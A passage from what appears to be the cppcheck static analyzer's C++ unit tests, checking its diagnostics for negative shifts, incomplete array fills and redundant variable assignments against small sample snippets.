s;\\n\"\n \" const std::string& get() const { return s; }\\n\"\n \"};\\n\"\n \"void f(const T& t) {\\n\"\n \" const auto s = t.get();\\n\"\n \" if (s.empty()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:16]: (performance, inconclusive) Use const reference for 's' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\", errout_str());\n }\n\n void checkNegativeShift() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int a; a = 123;\\n\"\n \" (void)(a << -1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int a; a = 123;\\n\"\n \" (void)(a >> -1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int a; a = 123;\\n\"\n \" a <<= -1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int a; a = 123;\\n\"\n \" a >>= -1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << -1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << a << -1 ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << 3 << -1 ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo() {\\n\"\n \" x = (-10+2) << 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (portability) Shifting a negative value is technically undefined behaviour [shiftNegativeLHS]\\n\", errout_str());\n\n check(\"x = y ? z << $-1 : 0;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Negative LHS\n check(\"const int x = -1 >> 2;\");\n ASSERT_EQUALS(\"[test.cpp:1:18]: (portability) Shifting a negative value is technically undefined behaviour [shiftNegativeLHS]\\n\", errout_str());\n\n // #6383 - unsigned type\n check(\"const int x = (unsigned int)(-1) >> 2;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7814 - UB happening in valueflowcode when it tried to compute shifts.\n check(\"int shift1() { return 1 >> -1 ;}\\n\"\n \"int shift2() { return 1 << -1 ;}\\n\"\n \"int shift3() { return -1 >> 1 ;}\\n\"\n \"int shift4() { return -1 << 1 ;}\");\n ASSERT_EQUALS(\"[test.cpp:1:25]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\"\n \"[test.cpp:2:25]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\"\n \"[test.cpp:3:26]: (portability) Shifting a negative value is technically undefined behaviour [shiftNegativeLHS]\\n\"\n \"[test.cpp:4:26]: (portability) Shifting a negative value is technically undefined behaviour [shiftNegativeLHS]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\" // #12916\n \" if (i < 0) {\\n\"\n \" g(\\\"abc\\\" << i);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #13326\n check(\"template\\n\"\n \"int f(int a)\\n\"\n \"{\\n\"\n \" if constexpr (b >= 0) {\\n\"\n \" return a << b;\\n\"\n \" } else {\\n\"\n \" return a << -b;\\n\"\n \" }\\n\"\n \"}\\n\"\n \"int g() {\\n\"\n \" return f<1>(2)\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\"\n \"int f(int a)\\n\"\n \"{\\n\"\n \" if constexpr (b >= 0) {\\n\"\n \" return a << b;\\n\"\n \" } else {\\n\"\n \" return a << -b;\\n\"\n \" }\\n\"\n \"}\\n\"\n \"int g() {\\n\"\n \" return f<-1>(2)\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void incompleteArrayFill() {\n check(\"void f() {\\n\"\n \" int a[5];\\n\"\n \" memset(a, 123, 5);\\n\"\n \" memcpy(a, b, 5);\\n\"\n \" memmove(a, b, 5);\\n\"\n \"}\");\n ASSERT_EQUALS(// TODO \"[test.cpp:4] -> [test.cpp:5]: (performance) Buffer 'a' is being written before its old content has been used.\\n\"\n \"[test.cpp:3:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\"\n \"[test.cpp:4:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memcpy()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\"\n \"[test.cpp:5:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memmove()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\", errout_str());\n\n check(\"int a[5];\\n\"\n \"namespace Z { struct B { int a[5]; } b; }\\n\"\n \"void f() {\\n\"\n \" memset(::a, 123, 5);\\n\"\n \" memset(Z::b.a, 123, 5);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4:5]: (warning, inconclusive) Array '::a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*::a)'? [incompleteArrayFill]\\n\"\n \"[test.cpp:5]: (warning, inconclusive) Array 'Z::b.a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*Z::b.a)'?\\n\",\n \"[test.cpp:4:5]: (warning, inconclusive) Array '::a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*::a)'? [incompleteArrayFill]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo* a[5];\\n\"\n \" memset(a, 'a', 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\", errout_str());\n\n check(\"class Foo {int a; int b;};\\n\"\n \"void f() {\\n\"\n \" Foo a[5];\\n\"\n \" memset(a, 'a', 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo a[5];\\n\" // Size of foo is unknown\n \" memset(a, 'a', 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char a[5];\\n\"\n \" memset(a, 'a', 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a[5];\\n\"\n \" memset(a+15, 'a', 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" bool a[5];\\n\"\n \" memset(a, false, 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (portability, inconclusive) Array 'a' might be filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" const int n = 5;\"\n \" int a[n];\\n\"\n \" memset(a, 0, n);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\", errout_str());\n }\n\n void redundantVarAssignment() {\n setMultiline();\n\n // Simple tests\n check(\"void f(int i) {\\n\"\n \" i = 1;\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:2:7]: note: i is assigned\\n\"\n \"[test.cpp:3:7]: note: i is overwritten\\n\", errout_str());\n\n // non-local variable => only show warning when inconclusive is used\n check(\"int i;\\n\"\n \"void f() {\\n\"\n \" i = 1;\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:7]: note: i is assigned\\n\"\n \"[test.cpp:4:7]: note: i is overwritten\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i;\\n\"\n \" i = 1;\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:7]: note: i is assigned\\n\"\n \"[test.cpp:4:7]: note: i is overwritten\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" static int i;\\n\"\n \" i = 1;\\n\"\n \" i = 1;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i[10];\\n\"\n \" i[2] = 1;\\n\"\n \" i[2] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: style: Variable 'i[2]' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:10]: note: i[2] is assigned\\n\"\n \"[test.cpp:4:10]: note: i[2] is overwritten\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" int i[10];\\n\"\n \" i[x] = 1;\\n\"\n \" x=1;\\n\"\n \" i[x] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const int x) {\\n\"\n \" int i[10];\\n\"\n \" i[x] = 1;\\n\"\n \" i[x] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: style: Variable 'i[x]' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:10]: note: i[x] is assigned\\n\"\n \"[test.cpp:4:10]: note: i[x] is overwritten\\n\", errout_str());\n\n // Testing different types\n check(\"void f() {\\n\"\n \" Foo& bar = foo();\\n\"\n \" bar = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo& bar = foo();\\n\"\n \" bar = x;\\n\"\n \" bar = y;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo& bar = foo();\\n\" // #4425. bar might refer to something global, etc.\n \" bar = y();\\n\"\n \" foo();\\n\"\n \" bar = y();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Tests with function call between assignment\n check(\"void f(int i) {\\n\"\n \" i = 1;\\n\"\n \" bar();\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:2:7]: note: i is assigned\\n\"\n \"[test.cpp:4:7]: note: i is overwritten\\n\", errout_str());\n\n check(\"int i;\\n\"\n \"void f() {\\n\"\n \" i = 1;\\n\"\n \" bar();\\n\" // Global variable might be accessed in bar()\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" static int i;\\n\"\n \" i = 1;\\n\"\n \" bar();\\n\" // bar() might call f() recursively. This could be a false positive in more complex examples (when value of i is used somewhere. See #4229)\n \" i = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i;\\n\"\n \" i = 1;\\n\"\n \" bar();\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:7]: note: i is assigned\\n\"\n \"[test.cpp:5:7]: note: i is overwritten\\n\", errout_str());\n\n check(\"void bar(int i) {}\\n\"\n \"void f(int i) {\\n\"\n \" i = 1;\\n\"\n \" bar(i);\\n\" // Passed as argument\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo bar = foo();\\n\"\n \" bar();\\n\" // #5568. operator() called\n \" bar = y();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Branch tests\n check(\"void f(int i) {\\n\"\n \" i = 1;\\n\"\n \" if(x)\\n\"\n \" i = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" if(x)\\n\"\n \" i = 0;\\n\"\n \" i = 1;\\n\"\n \" i = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:4:7]: note: i is assigned\\n\"\n \"[test.cpp:5:7]: note: i is overwritten\\n\", errout_str());\n\n // #4513\n check(\"int x;\\n\"\n \"int g() {\\n\"\n \" return x*x;\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" x = 2;\\n\"\n \" x = g();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g() {\\n\"\n \" return x*x;\\n\"\n \"}\\n\"\n \"void f(int x) {\\n\"\n \" x = 2;\\n\"\n \" x = g();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:7]: style: Variable 'x' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:5:7]: note: x is assigned\\n\"\n \"[test.cpp:6:7]: note: x is overwritten\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo& bar = foo();\\n\"\n \" bar = x;\\n\"\n \" bar = y();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class C {\\n\"\n \" int x;\\n\"\n \" void g() { return x * x; }\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"\\n\"\n \"void C::f() {\\n\"\n \" x = 2;\\n\"\n \" x = g();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class C {\\n\"\n \" int x;\\n\"\n \" void g() { return x*x; }\\n\"\n \" void f(Foo z);\\n\"\n \"};\\n\"\n \"\\n\"\n \"void C::f(Foo z) {\\n\"\n \" x = 2;\\n\"\n \" x = z.g();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ({ })\n check(\"void f() {\\n\"\n \" int x;\\n\"\n \" x = 321;\\n\"\n \" x = ({ asm(123); })\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // from #3103 (avoid a false negative)\n check(\"int foo(){\\n\"\n \" int x;\\n\"\n \" x = 1;\\n\"\n \" x = 1;\\n\"\n \" return x + 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: style: Variable 'x' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:7]: note: x is assigned\\n\"\n \"[test.cpp:4:7]: note: x is overwritten\\n\", errout_str());\n\n // from #3103 (avoid a false positive)\n check(\"int foo(){\\n\"\n \" int x;\\n\"\n \" x = 1;\\n\"\n \" if (y)\\n\" // <-- cppcheck does not know anything about 'y'\n \" x = 2;\\n\"\n \" return x + 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // initialization, assignment with 0\n check(\"void f() {\\n\" // Ticket #4356\n \" int x = 0;\\n\" // <- ignore initialization with 0\n \" x = 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" state_t *x = NULL;\\n\"\n \" x = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:12]: style: Variable 'x' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" state_t *x;\\n\"\n \" x = NULL;\\n\"\n \" x = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:12]: style: Variable 'x' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"int foo() {\\n\" // #4420\n \" int x;\\n\"\n \" bar(++x);\\n\"\n \" x = 5;\\n\"\n \" return bar(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // struct member..\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f() {\\n\"\n \" struct AB ab;\\n\"\n \" ab.a = 1;\\n\"\n \" ab.a = 2;\\n\"\n \" return ab.a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:10]: style: Variable 'ab.a' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:5:10]: note: ab.a is assigned\\n\"\n \"[test.cpp:6:10]: note: ab.a is overwritten\\n\", errout_str());\n\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f() {\\n\"\n \" struct AB ab;\\n\"\n \" ab.a = 1;\\n\"\n \" ab = do_something();\\n\"\n \" return ab.a;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f() {\\n\"\n \" struct AB ab;\\n\"\n \" ab.a = 1;\\n\"\n \" do_something(&ab);\\n\"\n \" ab.a = 2;\\n\"\n \" return ab.a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f(DO_SOMETHING do_something) {\\n\"\n \" struct AB ab;\\n\"\n \" ab.a = 1;\\n\"\n \" do_something(&ab);\\n\"\n \" ab.a = 2;\\n\"\n \" return ab.a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f(struct AB *ab) {\\n\"\n \" ab->a = 1;\\n\"\n \" ab->b = 2;\\n\"\n \" ab++;\\n\"\n \" ab->a = 1;\\n\"\n \" ab->b = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f(struct AB *ab) {\\n\"\n \" ab->a = 1;\\n\"\n \" ab->b = 2;\\n\"\n \" ab = x;\\n\"\n \" ab->a = 1;\\n\"\n \" ab->b = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(struct AB *ab) {\\n\" // #\n \" ab->data->x = 1;\\n\"\n \" ab = &ab1;\\n\"\n \" ab->data->x = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5964\n check(\"void func(char *buffer, const char *format, int precision, unsigned value) {\\n\"\n \" (precision < 0) ? sprintf(buffer, format, value) : sprintf(buffer, format, precision, value);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // don't crash\n check(\"struct data {\\n\"\n \" struct { int i; } fc;\\n\"\n \"};\\n\"\n \"struct state {\\n\"\n \" struct data d[123];\\n\"\n \"};\\n\"\n \"void func(struct state *s) {\\n\"\n \" s->foo[s->x++] = 2;\\n\"\n \" s->d[1].fc.i++;\\n\"\n \"}\");\n\n // #6525 - inline assembly\n check(\"void f(int i) {\\n\"\n \" i = 1;\\n\"\n \" asm(\\\"foo\\\");\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6555\n check(\"void foo() {\\n\"\n \" char *p = 0;\\n\"\n \" try {\\n\"\n \" p = fred();\\n\"\n \" p = wilma();\\n\"\n \" }\\n\"\n \" catch (...) {\\n\"\n \" barney(p);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" char *p = 0;\\n\"\n \" try {\\n\"\n \" p = fred();\\n\"\n \" p = wilma();\\n\"\n \" }\\n\"\n \" catch (...) {\\n\"\n \" barney(x);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: style: The scope of the variable 'p' can be reduced. [variableScope]\\n\"\n \"[test.cpp:2:11]: style: Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" char *p = 0;\\n\"\n \" try {\\n\"\n \" if(z) {\\n\"\n \" p = fred();\\n\"\n \" p = wilma();\\n\"\n \" }\\n\"\n \" }\\n\"\n \" catch (...) {\\n\"\n \" barney(p);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Member variable pointers\n check(\"void podMemPtrs() {\\n\"\n \" int POD::*memptr;\\n\"\n \" memptr = &POD::a;\\n\"\n \" memptr = &POD::b;\\n\"\n \" if (memptr)\\n\"\n \" memptr = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: style: Variable 'memptr' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:12]: note: memptr is assigned\\n\"\n \"[test.cpp:4:12]: note: memptr is overwritten\\n\", errout_str());\n\n // Pointer function argument (#3857)\n check(\"void f(float * var)\\n\"\n \"{\\n\"\n \" var[0] = 0.2f;\\n\"\n \" var[0] = 0.2f;\\n\" // <-- is initialized twice\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: style: Variable 'var[0]' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:10]: note: var[0] is assigned\\n\"\n \"[test.cpp:4:10]: note: var[0] is overwritten\\n\", errout_str());\n\n check(\"void f(float * var)\\n\"\n \"{\\n\"\n \" *var = 0.2f;\\n\"\n \" *var = 0.2f;\\n\" // <-- is initialized twice\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:8]: style: Variable '*var' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:8]: note: *var is assigned\\n\"\n \"[test.cpp:4:8]: note: *var is overwritten\\n\", errout_str());\n\n // Volatile variables\n check(\"void f() {\\n\"\n \" volatile char *reg = (volatile char *)0x12345;\\n\"\n \" *reg = 12;\\n\"\n \" *reg = 34;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::map& m, int key, int value) {\\n\" // #6379\n \" m[key] = value;\\n\"\n \" m[key] = value;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: style: Variable 'm[key]' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:2:12]: note: m[key] is assigned\\n\"\n \"[test.cpp:3:12]: note: m[key] is overwritten\\n\",\n errout_str());\n }\n\n void redundantVarAssignment_trivial() {\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" a = 4;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a;\\n\"\n \" a = 0;\\n\"\n \" a = 4;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" unsigned a;\\n\"\n \" a = 0u;\\n\"\n \" a = 2u;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" void* a;\\n\"\n \" a = (void*)0;\\n\"\n \" a = p;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:10]: (style) Variable 'a' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" void* a;\\n\"\n \" a = (void*)0U;\\n\"\n \" a = p;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:10]: (style) Variable 'a' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n }\n\n void redundantVarAssignment_struct() {\n check(\"struct foo {\\n\"\n \" int a,b;\\n\"\n \"};\\n\"\n \"\\n\"\n \"int main() {\\n\"\n \" struct foo x;\\n\"\n \" x.a = _mm_set1_ps(1.0);\\n\"\n \" x.a = _mm_set1_ps(2.0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:7] -> [test.cpp:8:7]: (style) Variable 'x.a' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" struct AB ab;\\n\"\n \" ab.x = 23;\\n\"\n \" ab.y = 41;\\n\"\n \" ab.x = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:5:8]: (style) Variable 'ab.x' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" struct AB ab = {0};\\n\"\n \" ab = foo();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_union() {\n // Ticket #5115 \"redundantAssignment when using a union\"\n check(\"void main(void)\\n\"\n \"{\\n\"\n \" short lTotal = 0;\\n\"\n \" union\\n\"\n \" {\\n\"\n \" short l1;\\n\"\n \" struct\\n\"\n \" {\\n\"\n \" unsigned char b1;\\n\"\n \" unsigned char b2;\\n\"\n \" } b;\\n\"\n \" } u;\\n\"\n \" u.l1 = 1;\\n\"\n \" lTotal += u.b.b1;\\n\"\n \" u.l1 = 2;\\n\" //Should not show RedundantAssignment\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #5115 \"redundantAssignment when using a union\"\n check(\"void main(void)\\n\"\n \"{\\n\"\n \" short lTotal = 0;\\n\"\n \" union\\n\"\n \" {\\n\"\n \" short l1;\\n\"\n \" struct\\n\"\n \" {\\n\"\n \" unsigned char b1;\\n\"\n \" unsigned char b2;\\n\"\n \" } b;\\n\"\n \" } u;\\n\"\n \" u.l1 = 1;\\n\"\n \" u.l1 = 2;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:13:10] -> [test.cpp:14:10]: (style) Variable 'u.l1' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n\n // Ticket #10093 \"redundantAssignment when using a union\"\n check(\"typedef union fixed32_union {\\n\"\n \" struct {\\n\"\n \" unsigned32 abcd;\\n\"\n \" } u32;\\n\"\n \" struct {\\n\"\n \" unsigned16 ab;\\n\"\n \" unsigned16 cd;\\n\"\n \" } u16;\"\n \" struct {\\n\"\n \" unsigned8 a;\\n\"\n \" unsigned8 b;\\n\"\n \" unsigned8 c;\\n\"\n \" unsigned8 d;\\n\"\n \" } b;\\n\"\n \"} fixed32;\\n\"\n \"void func1(void) {\\n\"\n \" fixed32 m;\\n\"\n \" m.u16.ab = 47;\\n\"\n \" m.u16.cd = 0;\\n\"\n \" m.u16.ab = m.u32.abcd / 53;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #10093 \"redundantAssignment when using a union\"\n check(\"typedef union{\\n\"\n \" char as_char[4];\\n\"\n \" int as_int;\\n\"\n \"} union_t;\\n\"\n \"void fn(char *data, int len) {\\n\"\n \" int i;\\n\"\n \" for (i = 0; i < len; i++)\\n\"\n \" data[i] = 'a';\\n\"\n \"}\\n\"\n \"int main(int argc, char *argv[]) {\\n\"\n \" union_t u;\\n\"\n \" u.as_int = 42;\\n\"\n \" fn(&u.as_char[0], 4);\\n\"\n \" u.as_int = 0;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #5115 \"redundantAssignment when using a union\"\n check(\"void foo(char *ptr) {\\n\"\n \" union {\\n\"\n \" char * s8;\\n\"\n \" unsigned long long u64;\\n\"\n \" } addr;\\n\"\n \" addr.s8 = ptr;\\n\"\n \" addr.u64 += 8;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12895\n \" int x, y;\\n\"\n \"};\\n\"\n \"union U {\\n\"\n \" S* s;\\n\"\n \"};\\n\"\n \"void f(const U& Src, const U& Dst) {\\n\"\n \" Dst.s->x = Src.s->x;\\n\"\n \" Dst.s->y = Src.s->y;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_7133() {\n // #7133\n check(\"sal_Int32 impl_Export() {\\n\"\n \" try {\\n\"\n \" try {\\n\"\n \" uno::Sequence< uno::Any > aArgs(2);\\n\"\n \" beans::NamedValue aValue;\\n\"\n \" aValue.Name = \\\"DocumentHandler\\\";\\n\"\n \" aValue.Value <<= xDocHandler;\\n\"\n \" aArgs[0] <<= aValue;\\n\"\n \" aValue.Name = \\\"Model\\\";\\n\"\n \" aValue.Value <<= xDocumentComp;\\n\"\n \" aArgs[1] <<= aValue;\\n\"\n \" }\\n\"\n \" catch (const uno::Exception&) {\\n\"\n \" }\\n\"\n \" }\\n\"\n \" catch (const uno::Exception&) {\\n\"\n \" }\\n\"\n \"}\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void ConvertBitmapData(sal_uInt16 nDestBits) {\\n\"\n \" BitmapBuffer aSrcBuf;\\n\"\n \" aSrcBuf.mnBitCount = nSrcBits;\\n\"\n \" BitmapBuffer aDstBuf;\\n\"\n \" aSrcBuf.mnBitCount = nDestBits;\\n\"\n \" bConverted = ::ImplFastBitmapConversion( aDstBuf, aSrcBuf, aTwoRects );\\n\"\n \"}\", 